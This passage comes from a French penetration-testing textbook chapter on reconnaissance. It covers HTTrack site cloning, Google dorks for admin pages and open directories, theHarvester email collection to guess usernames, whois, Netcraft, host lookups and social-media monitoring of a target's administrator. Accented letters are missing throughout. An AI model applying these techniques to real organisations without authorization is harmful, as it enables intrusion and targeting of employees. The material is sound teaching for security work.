systmes de la cible. Dans la plupart des cas, puisque vous ntes pas autoris tester ni examiner ces systmes externes, vous ne pourrez pas fournir un grand nombre de dtails. Cependant, votre rapport final doit inclure autant

dinformations que possible sur les systmes qui, votre avis, font peser des risques sur lentreprise. Info En tant que testeur dintrusion, lorsque vous dcouvrez des risques qui sortent de ltendue de votre accord, vous devez faire tout votre possible pour obtenir lautorisation dtendre celle-ci. Cela vous demandera souvent de travailler troitement avec votre client et ses fournisseurs afin dexpliquer correctement les risques potentiels. Pour russir la phase de reconnaissance, nous devons mettre en place une stratgie. Pratiquement toutes les facettes de la collecte dinformations exploitent la puissance dInternet. Une stratgie classique comprend une reconnaissance active et une reconnaissance passive. La reconnaissance active demande une interaction directe avec la cible. Notez que, au cours de ce processus, la cible peut enregistrer votre adresse IP et consigner vos actions. Elles ont donc de fortes chances dtre dtectes, mme si vous tentez de raliser un test dintrusion de faon furtive. La reconnaissance passive se fonde sur les informations disponibles sur le Web. Au cours de ce travail, nous ninteragissons pas directement avec la cible, qui na donc aucun moyen de connatre, denregistrer ou de consigner nos actions. Nous lavons expliqu, lobjectif de la reconnaissance est de recueillir autant dinformations que possible sur la cible. ce stade du test dintrusion, aucun dtail ne doit tre ignor, aussi inoffensif quil puisse paratre. Il est important de conserver les donnes recueillies dans un lieu central. Lorsque cest possible, il est prfrable de les mmoriser sous une forme lectronique. Cela permettra deffectuer ultrieurement des recherches rapides et prcises. Chaque hacker est diffrent et certains

prfrent imprimer les informations obtenues. Chaque feuille de papier doit tre soigneusement classe et place dans un dossier. Si vous adoptez la solution papier, prenez soin dorganiser minutieusement vos donnes. Pour une seule cible, il est possible darriver rapidement plusieurs centaines de pages. En gnral, la premire activit consiste trouver le site web de lentreprise. Dans notre exemple, nous allons utiliser un moteur de recherche pour obtenir des informations sur "Syngress". Attention Mme si nous avons discut prcdemment de limportance de la cration et de lutilisation dun "laboratoire de hacking isol" afin dviter que du trafic ne sorte du rseau, la mise en place de la reconnaissance exige une connexion Internet active. Si vous souhaitez suivre les exemples de ce chapitre et employer les outils dcrits, vous devrez connecter votre machine dattaques Internet.

HTTrack
La premire phase dbute souvent par un examen minutieux du site web de la cible. Dans certains cas, nous pouvons nous servir de loutil HTTrack pour effectuer une copie de toutes les pages du site. Cet utilitaire gratuit est capable de gnrer une copie consultable hors connexion du site web cible. Cette copie comprendra lensemble des pages, liens, images et code du site dorigine, mais elle rsidera sur lordinateur local. Grce aux outils daspiration de sites web comme HTTrack, nous pouvons explorer et fouiller de fond en comble le site web hors connexion, sans avoir passer du temps nous balader sur le serveur web de lentreprise. Info

Vous devez bien comprendre que plus vous passez du temps naviguer et explorer le site web de la cible, plus vos actions pourront tre repres et suivies (mme si vous vous contentez de parcourir le site). Noubliez pas que chaque fois que vous interagissez directement avec une ressource dtenue par la cible, il est possible que vous laissiez une empreinte digitale numrique. Les testeurs dintrusion expriments se servent galement doutils automatiques pour extraire des informations supplmentaires ou caches partir dune copie locale du site web. HTTrack est disponible en tlchargement sur le site web ladresse http://www.httrack.com/. Dans le cas de la version Windows, il suffit de rcuprer le fichier dinstallation et de lancer son excution. Si vous souhaitez installer HTTrack sur Kali ou votre machine dattaque sous Linux, connectez-vous Internet, comme nous lavons expliqu au Chapitre 1, ouvrez une fentre de terminal et saisissez la commande suivante : apt-get install httrack Notez quil existe galement une version graphique de HTTrack, mais, pour le moment, nous allons nous limiter la version en ligne de commande. Si vous prfrez une interface graphique, vous pourrez toujours linstaller ultrieurement. Aprs que le programme a t install, vous pouvez le lancer en ouvrant une fentre de terminal et en excutant la commande suivante :

httrack Vous devez comprendre que le clonage dun site web est facile reprer et que cette activit est considre comme fortement offensive. Nutilisez jamais HTTrack sans autorisation pralable. Aprs son dmarrage, cet outil pose une suite de questions avant de procder la copie du site. Pour y rpondre, il suffit en gnral dappuyer sur la touche Entre. Vous devez toutefois saisir un nom de projet et lURL du site copier. Prenez le temps de lire chaque question avant daccepter systmatiquement la valeur par dfaut. Lorsque le questionnaire est termin, saisissez Y pour lancer le clonage. Le temps ncessaire lopration dpendra de la taille du site web. Noubliez pas que vous devez disposer sur votre ordinateur local dun espace disque suffisant pour contenir lintgralit du site cible. Les plus grands peuvent en demander une quantit trs importante. Vrifiez toujours la place disponible avant de dmarrer lopration de copie. Aprs que HTTrack a termin la copie, il affiche sur le terminal un message indiquant que lopration est acheve et vous remerciant davoir utilis HTTrack. Si vous utilisez Kali et avez accept les options par dfaut, HTTrack place le site clon dans le rpertoire /root/websites/nom_du_projet. Vous pouvez prsent lancer Firefox et saisir /root/websites/nom_du_projet dans le champ dadresse. nom_du_projet doit tre remplac par le nom que vous avez indiqu lors de la configuration de lopration de copie. Dans le navigateur, vous pouvez manipuler le site web copi en cliquant sur les liens. Le fichier index.html constitue gnralement un bon point de dpart. Firefox est disponible partir du bureau, dans le menu des applications. Vous pouvez galement ouvrir un terminal et excuter la commande suivante : firefox Que vous fassiez une copie du site web ou que vous le parcouriez

simplement en temps rel, il est important de faire attention aux dtails. Vous devez examiner attentivement toutes les informations que vous dcouvrez sur le site web de la cible et les enregistrer. Bien souvent, une navigation un peu approfondie conduira des dcouvertes intressantes, comme une adresse et des emplacements physiques, des numros de tlphone, des adresses lectroniques, des horaires douverture, des relations professionnelles (partenaires), des noms demploys, les connexions aux mdias sociaux et dautres donnes publiques. Lors dun test dintrusion, il est important de prter attention certains lments, comme les actualits et les annonces. Les entreprises sont souvent fires de leurs prouesses et laissent filer par mgarde des informations dans les articles. Les fusions et les acquisitions dentreprises peuvent galement fournir des donnes intressantes, notamment pour augmenter ltendue du test dintrusion et lui ajouter des cibles supplmentaires. Mme la plus petite acquisition faite en douceur peut crer des changements et des dsordres dans une organisation. Il existe toujours une priode de transition lors de la fusion dentreprises. Elle nous donne des opportunits uniques de tirer parti des changements et de la confusion. Mme si une fusion est ancienne ou sest faite sans difficult, linformation a toujours une valeur en dsignant des cibles supplmentaires. Les entreprises fusionnes ou associes doivent tre autorises et incluses dans la liste des cibles, car elles constituent une passerelle potentielle vers le client. Enfin, il est important de rechercher et dexaminer les offres demploi technique proposes par la socit cible. En effet, elles dvoilent souvent des informations trs dtailles sur les technologies mises en uvre au sein de la socit. Vous pourrez notamment y voir mentionns du matriel et du logiciel spcifiques. Noubliez pas de rechercher la cible dans les offres demploi postes ailleurs. Par exemple, supposons que vous trouviez une annonce pour un poste dadministrateur rseau qui doit possder une exprience sur les appareils Cisco ASA. Vous pouvez immdiatement en conclure plusieurs choses. Tout dabord, vous tes certain que lentreprise utilise ou envisage dutiliser un pare-feu Cisco

ASA. Ensuite, en fonction de la taille de la socit, vous pouvez en dduire quaucun de ses employs nest en mesure dutiliser et de configurer correctement un pare-feu Cisco ASA, ou que la personne comptente va sen aller. Dans les deux cas, vous avez obtenu des informations intressantes sur les technologies en place. Aprs lexamen minutieux du site web de la cible, nous devons avoir une bonne connaissance de celle-ci, notamment qui elle est, ce quelle fait, o elle se trouve et quelles technologies elle emploie. Arms de ces informations de base, nous pouvons passer une reconnaissance passive. Pour une entreprise, il est trs difficile, voire impossible, de dterminer si un hacker ou un testeur dintrusion effectue une telle reconnaissance. Cette activit prsente un risque faible pour lassaillant, alors quelle peut se rvler trs enrichissante. Rappelons quune reconnaissance passive se fait sans envoyer un seul paquet vers les systmes de la cible. Pour cette opration, notre arme de prdilection est videmment Internet. Nous commenons par effectuer des recherches exhaustives de la cible dans les diffrents moteurs existants. Les bons moteurs de recherche disponibles aujourdhui sont nombreux, mais, pour la prsentation des bases du hacking et des tests dintrusion, nous allons nous limiter Google. Celui-ci fait vraiment un bon travail ; cest pourquoi le cours de laction de lentreprise est si lev. Ses robots fouillent sans relche les moindres recoins dInternet afin de cataloguer toutes les informations trouves. Ils sont si efficaces que les hackers parviennent parfois mener un test dintrusion complet en utilisant uniquement Google. Lors de la confrence Defcon 13, Johnny Long a branl la communaut des hackers en donnant une session intitule "Google Hacking for Penetration Testers". Elle a t suivie de la publication dun ouvrage qui allait encore plus loin dans lart du hacking Google. Info

Si vous vous intressez aux tests dintrusion, nous vous conseillons fortement de visionner la vido de Johnny Long et dacheter son ouvrage. La vido est disponible gratuitement en ligne (consultez les archives multimdias de Defcon ladresse http://www.defcon.org/html/links/dcarchives.html). Le livre est publi par Syngress et disponible dans toutes les bonnes librairies. Le travail de Johnny a chang jamais le monde des tests dintrusion et de la scurit. Le contenu prsent est incroyable et vaut la peine dtre lu. Nous nallons pas entrer dans les spcificits du hacking Google, mais une bonne comprhension de la manire dutiliser correctement ce moteur est indispensable pour devenir un expert des tests dintrusion. Si vous posez quelquun la question "comment utilises-tu Google ?", il rpond gnralement par "cest simple, je lance mon navigateur web, je me rends sur la page daccueil de Google et je saisis les termes dans le champ de recherche". Bien que cette rponse soit pertinente pour 99 % des internautes, elle ne suffit pas pour les aspirants hackers et testeurs dintrusion. Ils doivent apprendre effectuer des recherches de manire plus intelligente et mieux exploiter les rsultats obtenus. En matrisant les moteurs de recherche comme Google, vous gagnerez du temps et vous pourrez trouver les joyaux qui se cachent dans les milliards de pages web accessibles sur Internet.

Oprateurs Google
Nous avons de la chance, Google nous donne accs des "oprateurs" faciles demploi qui nous aideront exploiter au mieux nos recherches. Ces oprateurs correspondent des mots cls grce auxquels nous pouvons extraire de faon plus prcise des informations partir de lindex Google.

Supposons par exemple que vous vouliez rechercher sur le site web de luniversit de ltat du Dakota (dsu.edu) des informations me concernant. La solution la plus simple consiste saisir les termes suivants dans le champ de recherche de Google : pat engebretson dsu. Cette recherche va produire plusieurs rsultats, mais, au moment de lcriture de ces lignes, seuls quatre des dix premiers sites web sont en lien avec celui de DSU ( Dakota State University ). Grce aux oprateurs Google, nous pouvons influencer lindex Google. Dans lexemple prcdent, nous connaissons la fois le site web cible et les mots cls rechercher. Plus prcisment, nous voulons obliger Google retourner uniquement les rsultats qui proviennent du domaine de la cible (dsu.edu). Dans ce cas, loprateur site : est notre meilleur ami. En effet, il demande Google de retourner uniquement les rsultats qui correspondent aux termes indiqus et qui proviennent directement du site web prcis. Pour utiliser un oprateur Google, nous devons indiquer les trois lments suivants : 1. le nom de loprateur ; 2. des deux-points ; 3. le terme utiliser dans loprateur. Aprs avoir saisi les trois lments dinformation prcdents, nous pouvons effectuer une recherche normale. Pour utiliser loprateur site:, nous devons saisir la ligne suivante dans le champ de recherche de Google : site:domaine terme(s) rechercher Vous remarquerez quaucune espace ne se trouve entre loprateur, les deux points et le domaine. Pour reprendre notre exemple prcdent, nous voulons mener une recherche concernant Pat Engebretson sur le site web de DSU. Pour cela, nous saisissons la commande suivante dans le champ de recherche de Google :

site:dsu.edu pat engebretson Les rsultats de cette recherche sont trs diffrents de la prcdente. Tout dabord, nous avons rduit le nombre de rsultats : de plus de 30 000, nous arrivons 147. La liste est plus facile grer, car une personne aura moins de difficults extraire des informations partir de 147 rsultats qu partir de 30 000. Ensuite, et cest probablement le plus important, chaque rsultat obtenu provient directement du site web cible. Grce loprateur site:, nous pouvons effectuer une recherche sur une cible particulire, pour ensuite trouver des informations complmentaires. Il nous permet de focaliser notre recherche et de ne pas tre submerg par les rsultats. Attention Vous devez savoir que les recherches avec Google ne sont pas sensibles la casse. Par consquent, "pat", "Pat" et "PAT" produiront exactement les mmes rsultats. Les oprateurs intitle: et allintitle: sont galement trs intressants. En les ajoutant une recherche, seuls les sites web dont les titres des pages comprennent les termes indiqus sont retourns. Avec allintitle:, seuls les sites dont les titres des pages comprennent tous les termes sont retourns. Avec loprateur intitle:, les pages dont les titres comprennent au moins lun des termes saisis sont retournes. Voici un exemple classique de recherche Google avec loprateur allintitle: : allintitle:index of Elle permet dobtenir la liste de tous les rpertoires qui ont t indexs et qui sont accessibles au travers du serveur web. Cela constitue souvent un bon point de dpart pour effectuer une reconnaissance sur la cible.

Si nous voulons rechercher les sites dont les URL comprennent des mots prcis, nous avons notre disposition loprateur inurl:. Nous pouvons par exemple mettre la commande suivante pour localiser des pages potentiellement intressantes sur la cible : inurl:admin Cette recherche pourra se rvler extrmement utile car elle permet de rvler des pages dadministration ou de configuration sur le site web de la cible. Il peut galement tre trs intressant deffectuer des recherches dans le cache de Google plutt que sur le site web de la cible. Cette approche non seulement permet de rduire notre empreinte numrique sur le serveur de la cible (nous sommes plus difficiles dtecter) mais nous fournit galement lopportunit de consulter des pages web et des fichiers qui ont t retirs du site web officiel. Le cache de Google mmorise une copie pure de chaque site web qui a t examin par ses robots. Il est important de comprendre que le cache contient la fois le code qui a servi la construction du site et les nombreux fichiers qui ont t dcouverts au cours de lanalyse. Il peut sagir de fichiers PDF, de documents Microsoft Office, de fichiers texte, etc. Aujourdhui, il nest pas rare que des informations soient places par erreur sur Internet. Supposons par exemple que vous soyez ladministrateur rseau dune entreprise. Vous utilisez Microsoft Excel pour crer un classeur qui contient toutes les adresses IP, les noms et les emplacements des PC dans votre rseau. Au lieu de transporter ce document Excel avec vous, vous dcidez de le publier sur lintranet de lentreprise afin quil soit accessible uniquement par son personnel. Cependant, au lieu de le placer sur lintranet, vous le publiez par erreur sur le site web public de la socit. Si les robots de Google analysent votre site avant que vous ne retiriez le document, il est possible que celuici rside dans le cache de Google mme aprs que vous avez supprim le fichier de votre site. Voil pourquoi il est important deffectuer des

recherches dans le cache de Google. Loprateur cache: permet de limiter les rsultats de recherche et de ne prsenter que les informations extraites directement du cache de Google. Lexemple suivant retourne la version de la page daccueil de Syngress qui se trouve dans le cache : cache:syngress.com Si nous cliquons sur lune des URL obtenues, nous arrivons non pas sur la version qui existe dans le cache mais sur le site web actif. Pour consulter les pages mmorises dans le cache, il faut modifier la recherche. Le dernier oprateur mentionn dans cette section se nomme filetype:. Nous pouvons nous en servir pour prciser des extensions de fichiers et donc pour rechercher des types de fichiers sur le site web de la cible. Par exemple, pour obtenir uniquement les rsultats qui concernent des documents PDF, saisissez la commande suivante : filetype:pdf Cet oprateur sera trs utile pour trouver des liens vers des fichiers particuliers, comme ceux qui ont lextension .doc , .xlsx , .ppt, .txt ou autres. Nos possibilits sont presque sans limites. Pour une plus grande souplesse, il est possible de combiner plusieurs oprateurs dans la mme recherche. Par exemple, voici comment rechercher toutes les prsentations PowerPoint sur le site web de DSU : site:dsu.edu filetype:ppt Chaque rsultat retourn correspond un fichier PPT qui provient directement du domaine dsu.edu. La Figure 2.1 illustre les rsultats de deux recherches. La premire utilise les oprateurs Google, tandis que la seconde correspond une recherche classique. Les oprateurs Google

permettent de rduire normment le nombre de rsultats (de 211 955).

Figure 2.1 Illustration de la puissance des oprateurs de Google.

Le hacking Google est parfois appel "Google Dork". Lorsquune application souffre dune vulnrabilit prcise, les hackers et les chercheurs en scurit placent gnralement un Google Dork dans lexploit, ce qui nous permet de rechercher des versions vulnrables en utilisant Google. Le site web Exploit Database, qui est maintenu par les crateurs de BackTrack et de Kali Linux (Offensive-Security), propose une longue liste de Google Dork et des techniques de hacking Google supplmentaires. Rendez-vous lURL http://www.exploit-db.com et cliquez sur le bouton GHDB ( Google Hacking Database ), comme le montre la Figure 2.2.

Figure 2.2 Le bouton GHDB qui mne la base de donnes du hacking Google. Vous pouvez choisir ce qui vous intresse (voir Figure 2.3) et utiliser le vaste contenu du site web exploit-db.com pour vous aider dans vos objectifs.

Figure 2.3 Slectionner une catgorie de la base de donnes GHDB. Voici une autre recherche qui pourra produire des informations intressantes : inurl:login Elle peut galement se faire avec les termes suivants : Logon Signin Signon Forgotpassword

Forgot Reset Nous pourrons ainsi trouver des pages douverture de session ou similaires qui peuvent proposer du contenu dynamique. Des vulnrabilits se cachent souvent dans ce type de pages. La recherche suivante produit une liste des rpertoires quil est possible de parcourir afin den consulter le contenu : site:syngress.com intitle:"index of" Une telle vulnrabilit est absente du site de Syngress, mais cette mthode est souvent employe pour rechercher des fichiers supplmentaires qui ne sont normalement pas accessibles au travers des pages web. Il existe de nombreux autres oprateurs et hacks Google avec lesquels vous devez vous familiariser. Il est galement important que vous vous intressiez aux autres moteurs de recherche que Google. En effet, chaque moteur peut produire des rsultats diffrents, mme pour des termes identiques. En tant que testeur dintrusion qui mne une reconnaissance, vous devez tre aussi rigoureux que possible. Vous serez rcompens par le temps que vous passerez apprendre exploiter au mieux les possibilits de recherche de Yahoo, Bing, Ask, Dogpile et les autres. Enfin, vous devez savoir que ces recherches passives le resteront uniquement pendant les recherches. Si vous vous connectez au systme cible (en cliquant sur lun des liens du rsultat), vous repassez en mode actif. Une reconnaissance active sans autorisation pralable peut tre considre comme une activit illgale. Aprs que nous avons examin minutieusement la page web de la cible et men des recherches exhaustives avec Google et dautres moteurs de

recherche, il est important dexplorer dautres recoins dInternet. Les groupes de nouvelles et les BBS ( Bulletin Board System) comme UseNet et Google Groupes peuvent se rvler trs utiles lors du recueil dinformations sur la cible. Les forums daide, les systmes de discussion et les fonctions de chat en direct avec un reprsentant de la socit peuvent recler des informations intressantes. Il nest pas rare que des personnes se servent des forums daide et de discussion pour publier et recevoir de laide sur des problmes techniques. Malheureusement (ou heureusement selon le point de vue), les questions poses par les employs sont souvent trs dtailles, avec des informations sensibles et confidentielles. Supposons quun administrateur rseau rencontre des difficults configurer correctement son pare-feu. Sur les forums publics, il arrive souvent de trouver des discussions au cours desquelles ces administrateurs postent des sections entires de leur fichier de configuration sans les censurer. Pire encore, les billets sont publis en utilisant ladresse lectronique de la socit. Ces informations sont une vritable mine dor pour nimporte quel pirate. Mme si ladministrateur rseau est suffisamment intelligent pour ne pas fournir tous les dtails de la configuration, il est difficile dobtenir laide de la communaut sans laisser involontairement fuiter quelques informations. En lisant des billets pourtant soigneusement rdigs, il est possible dobtenir des donnes sur la version prcise dun logiciel, les modles de matriels, la configuration courante et dautres donnes internes aux systmes. Tout cela doit tre mis de ct pour une future utilisation au cours du test dintrusion. Les forums publics constituent une excellente manire de partager des informations et de recevoir une aide technique. Cependant, si vous utilisez ces ressources, faites attention employer une adresse de courrier lectronique relativement anonyme, par exemple sur Gmail ou Hotmail, la place de votre adresse professionnelle. La croissance explosive des rseaux sociaux, comme Facebook et Twitter, ouvre de nouvelles portes vers des donnes sur les cibles. Au

cours dune reconnaissance, il est bon demployer ces sites notre avantage. Prenons un exemple fictif qui consiste mener un test dintrusion sur une petite entreprise. Votre reconnaissance vous a permis de dcouvrir que son administrateur rseau dispose dun compte Twitter, Facebook et Steam. Grce une petite ingnierie sociale, vous devenez ami avec ladministrateur peu mfiant et le suivez sur Facebook et Twitter. Aprs quelques semaines de billets plus ennuyeux les uns que les autres, vous gagnez le jackpot. Il envoie sur Facebook le message suivant : "Super ! Le pare-feu a grill aujourdhui sans prvenir personne. Un nouveau va nous tre envoy pendant la nuit. Je sens que demain sera une longue journe tout remettre en place." Un autre exemple pourrait tre un technicien qui publie : "Jai eu un problme avec le dernier correctif de Microsoft. Jai d le dsinstaller. Je les appellerai au cours de la matine." Vous pourriez galement voir arriver un message comme : "Je viens de terminer le prochain budget annuel. Jai limpression que je vais rester encore un an avec ce serveur Win2K." Bien que ces exemples puissent sembler un tantinet tirs par les cheveux, vous seriez surpris de constater la quantit dinformations que vous pouvez recueillir en surveillant simplement ce que les employs publient en ligne.

The Harvester
Pendant la phase de reconnaissance, loutil The Harvester se rvlera trs utile. Il sagit dun simple script Python trs efficace crit par Christian Martorella chez Edge Security. Il permet de cataloguer rapidement et prcisment les adresses de courrier lectronique et les sous-domaines directement lis la cible. Il est important de toujours utiliser la dernire version de The Harvester

car de nombreux moteurs de recherche actualisent et modifient rgulirement leurs systmes. Mme une modification subtile dans le comportement dun moteur de recherche peut rendre inoprants les outils automatiss. Dans certains cas, les moteurs de recherche filtrent les rsultats avant de renvoyer les informations. Ils sont galement nombreux mettre en place des techniques de limitation qui tentent dempcher les recherches automatises. The Harvester peut tre employ avec les serveurs de Google, Bing et PGP afin de rechercher des adresses lectroniques, des htes et des sousdomaines. Il est galement compatible avec LinkedIn pour les noms dutilisateurs. La plupart des gens pensent que leur adresse de courrier lectronique prsente peu dintrt. Nous avons dj expliqu les dangers de publier des messages sur les forums publics en utilisant une adresse de messagerie professionnelle, mais il existe bien dautres risques. Supposons que, au cours de la reconnaissance, vous dcouvriez ladresse lectronique dun employ qui travaille pour lentreprise cible. En manipulant les informations places avant le signe "@", nous pouvons gnrer des noms dutilisateurs rseau potentiels. Il nest pas rare que les entreprises utilisent les mmes noms dutilisateurs au sein de leur rseau et dans les adresses lectroniques. Nous pourrons nous en servir pour tenter des accs exhaustifs certains services, comme SSH, VPN ou FTP, que nous dcouvrirons au cours de la deuxime phase (les scans). The Harvester est intgr Kali. La faon la plus rapide dy accder consiste ouvrir une fentre de terminal et excuter la commande theharvester. Si vous avez besoin du chemin complet du programme et si vous utilisez Kali, The Harvester, comme pratiquement tous les autres outils, se trouve dans le rpertoire /usr/bin/. Toutefois, noubliez pas que lun des principaux avantages de Kali est quil est inutile de prciser le chemin complet pour excuter ces outils. Il suffit douvrir le terminal et dentrer la commande de lancement correspondante : theharvester

Vous pouvez galement prciser lintgralit du chemin : /usr/bin/theharvester Si vous avez choisi une distribution autre que BackTrack ou Kali, ou si vous ne trouvez pas loutil qui vous intresse dans le rpertoire indiqu, servez-vous de la commande locate pour vous aider le rechercher. Avant dinvoquer cette commande, vous devez lancer updatedb. Pour rechercher lendroit o est install The Harvester sur votre systme, ouvrez une fentre de terminal et saisissez la commande suivante : updatedb Suivie de : locate theharvester La commande locate peut tre trs verbeuse, mais un examen attentif de la liste vous aidera dterminer lemplacement de loutil. Nous lavons mentionn prcdemment, sur Kali, la plupart des outils pour les tests dintrusion se trouvent dans un sous-rpertoire de /usr/bin/. Attention Si vous utilisez un systme dexploitation autre que Kali, vous pouvez tlcharger loutil directement sur le site dEdge Security ladresse http://www.edge-security.com. Extrayez ensuite le contenu du fichier tar en excutant la commande suivante depuis le terminal : tar xf theHarvester Notez le "H" en majuscule. Puisque Linux est sensible la casse, "theHarvester" et "theharvester" ne sont pas quivalents. Faites attention

au nom du fichier excutable pour savoir si vous devez utiliser un "h" majuscule ou minuscule. En cas derreur, un message vous indiquera gnralement que le fichier ou le rpertoire na pas t trouv. Revoyez alors lorthographe du nom du fichier. Que vous ayez tlcharg The Harvester ou que vous utilisiez la version dj installe sur la machine dattaque, cet outil vous servira recueillir des informations complmentaires sur la cible. Excutez la commande suivante : theharvester d syngress.com l 10 b google Elle recherche les adresses de messagerie, les sous-domaines et les htes qui appartiennent syngress.com. La Figure 2.4 illustre les rsultats obtenus.

Figure 2.4 Sortie produite par The Harvester.

Avant de nous intresser aux rsultats fournis par loutil, examinons de plus prs la ligne de commande. theharvester invoque loutil. Loption -d permet de prciser le domaine cible. Loption -l (un L minuscule, non le chiffre 1) permet de limiter le nombre de rsultats renvoys. Dans notre exemple, nous demandons loutil de renvoyer uniquement dix rsultats. Loption -b prcise le rpertoire public dans lequel se fait la recherche. Nous avons plusieurs choix, notamment Google, Bing, PGP, LinkedIn et dautres ; dans notre exemple, nous avons pris Google. Si vous ntes pas certain de la source de donnes employer, loption -b all permet

deffectuer la recherche dans tous les rfrentiels reconnus. Puisque la commande dexcution de loutil est prsent comprise, tudions les rsultats obtenus. Vous le constatez, The Harvester a russi trouver plusieurs adresses de courrier lectronique qui pourraient nous intresser. Il a galement dcouvert deux sous-domaines, booksite.syngress.com et www.syngress.com, qui doivent faire lobjet dune reconnaissance complte. Nous les ajoutons notre liste de cibles et reprenons la procdure de reconnaissance. La phase 1 de reconnaissance est trs cyclique car elle mne souvent la dcouverte de nouvelles cibles qui, leur tour, demandent une reconnaissance supplmentaire. Le temps pass cette opration peut donc aller de quelques heures plusieurs semaines. Noubliez pas quun hacker malveillant dtermin non seulement comprend la puissance dune bonne reconnaissance mais a galement souvent la possibilit dy consacrer un temps illimit. En tant quaspirant testeur dintrusion, vous devez passer autant de temps que possible pratiquer et mener la collecte dinformations.

Whois
Pour recueillir des informations supplmentaires sur une cible, une solution trs simple mais efficace consiste employer Whois. Ce service nous permet daccder des informations prcises sur la cible, notamment les adresses IP ou les noms dhtes des serveurs DNS ( Domain Name System) de la socit, ainsi qu des informations de contact qui comprennent gnralement une adresse et un numro de tlphone. Whois est intgr au systme dexploitation Linux. Pour lutiliser, il suffit douvrir une fentre de terminal et dexcuter la commande suivante :

whois domaine_cible Par exemple, pour obtenir des informations sur Syngress, saisissez whois syngress.com . La Figure 2.5 montre une partie de la sortie gnre par cette commande.

Figure 2.5 Une partie des rsultats produits par une requte Whois. Il est important de conserver toutes ces informations et de prter une attention particulire aux serveurs DNS. Si les rsultats prsentent uniquement les noms des serveurs, comme cest le cas la Figure 2.5, nous utiliserons la commande host pour les convertir en adresses IP (nous y reviendrons la section suivante). La recherche Whois est galement

possible avec un navigateur web. Il suffit daller ladresse http://www.whois.net et dindiquer la cible dans le champ de saisie (voir Figure 2.6).

Figure 2.6 Whois.net, un outil de recherche Whois sur le Web. Examinez attentivement les informations prsentes. Il peut arriver que les rsultats donnent peu de dtails. Dans ce cas, il est souvent possible de les trouver en interrogeant les serveurs Whois indiqus dans la sortie de la recherche initiale. La Figure 2.7 en montre un exemple.

Figure 2.7 La sortie de Whois permet de savoir o rechercher des dtails supplmentaires. Si le serveur est indiqu, nous pouvons effectuer une nouvelle recherche Whois en utilisant le lien indiqu dans le champ Referral URL. Il faudra parcourir la page web la recherche du lien correspondant vers le service Whois. Grce celui fourni par Safename, nous obtenons de nombreuses informations complmentaires : The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.[whois.safenames.net]

Safenames Experts in Global Domain Management and Online Brand Protection

Domain Name: SYNGRESS.COM

[REGISTRANT] Organisation Name: Contact Name: Address Line 1: Address Line 2: City / Town: State / Province: Zip / Postcode: OX5 1GB Elsevier Ltd

Domain Manager

The Boulevard

Langford Lane, Kidlington Oxfordshire

Country: Telephone: Fax: Email: [ADMIN] Organisation Name: Contact Name: Address Line 1: Address Line 2: City / Town: State / Province: Zip / Postcode:

UK +44.1865843830 +44.1865853333 domainsupport@elsevier.com

Safenames Ltd International Domain Administrator Safenames House, Sunrise Parkway

Milton Keynes Bucks

MK14 6LS

Country: Telephone: Fax: Email: [TECHNICAL] Organisation Name: Contact Name: Address Line 1: Address Line 2: City / Town: State / Province: Zip / Postcode:

UK +44.1908200022 +44.1908325192 domainsupport@elsevier.com

International Domain Tech

International Domain Tech Safenames House, Sunrise Parkway

Milton Keynes Bucks

MK14 6LS

Country: Telephone: Fax: Email:

UK +44.1908200022 +44.1908325192 tec@safenames.net

Netcraft
Netcraft constitue une autre excellente source dinformations. Son site est accessible ladresse http://news.netcraft.com. Pour commencer, saisissez votre cible dans le champ Whats that site Running? (voir Figure 2.8).

Figure 2.8 Le champ de recherche de Netcraft. Netcraft renvoie tous les sites web quil connat et qui comprennent les mots recherchs. Dans notre exemple, nous obtenons trois sites : syngress.com, www.syngress.com et booksite.syngress.com. Si lun deux avait chapp nos recherches prcdentes, il est important de lajouter notre liste de cibles potentielles. Dans la page des rsultats, nous pouvons cliquer sur un des liens de la colonne Site Report. Le rapport qui saffiche fournit de nombreuses informations intressantes sur le site correspondant (voir Figure 2.9).

Figure 2.9 Le rapport sur le site www.syngress.com. Vous le constatez, ce rapport publie des informations intressantes sur notre cible, notamment ladresse IP et le systme dexploitation du serveur web, ainsi que le serveur DNS. nouveau, elles doivent tre catalogues et enregistres.

Host
Trs souvent, les actions de reconnaissance produiront non pas des adresses IP mais des noms dhtes. Lorsque cest le cas, la commande host se chargera den faire la traduction notre place. Cet outil est intgr la plupart des systmes Linux, y compris Kali. Il suffit douvrir une fentre de terminal et de saisir la commande suivante : host nom_hte_cible Supposons que nos recherches prcdentes nous aient amens dcouvrir un serveur DNS dont le nom dhte est ns1.dreamhost.com. Pour convertir celui-ci en une adresse IP, nous saisissons la commande suivante dans un terminal : host ns1.dreamhost.com La Figure 2.10 illustre le rsultat obtenu.

Figure 2.10 La sortie produite par la commande host. La commande host peut galement tre employe dans le sens inverse, pour convertir une adresse IP en un nom dhte. Voici comment procder :

host addresse_IP Avec loption -a, la sortie devient verbeuse et peut ventuellement rvler des informations supplmentaires. Nhsitez pas passer du temps consulter la documentation et les fichiers daide de cet outil. Vous pouvez galement lire son mode demploi en excutant man host dans une fentre de terminal. Ce fichier daide vous permettra de vous familiariser avec les diffrentes options qui vous donneront accs aux diffrentes fonctionnalits de host.

Extraire des informations du DNS


Les serveurs DNS sont des cibles de choix pour les hackers et les testeurs dintrusion, car ils contiennent gnralement des informations de forte valeur. Le DNS est un composant central des rseaux locaux et dInternet. Il est entre autres responsable de la conversion des noms de domaine en adresses IP. En tant qutres humains, il nous est plus facile de mmoriser google.fr que http://173.194.40.216. En revanche, les machines prfrent linverse. Le DNS se charge de cette traduction. En tant que testeurs dintrusion, nous devons nous focaliser sur les serveurs DNS qui appartiennent notre cible. La raison en est simple. Pour que le DNS fonctionne correctement, il doit connatre la fois ladresse IP et le nom de domaine correspondant de chaque ordinateur du rseau. En terme de reconnaissance, obtenir un accs total au serveur DNS dune entreprise revient trouver le trsor au pied de larc-en-ciel. Ou, peut-tre de faon plus prcise, cela revient trouver un plan de la socit, avec la liste complte des adresses IP et des noms dhtes internes qui appartiennent la cible. Noubliez pas que lun des principaux objectifs de la collecte dinformations est de recueillir des adresses IP qui appartiennent la cible. Hormis le trsor, lintrt de se concentrer sur le DNS est que, dans de nombreux cas, ces serveurs ont tendance fonctionner selon le principe

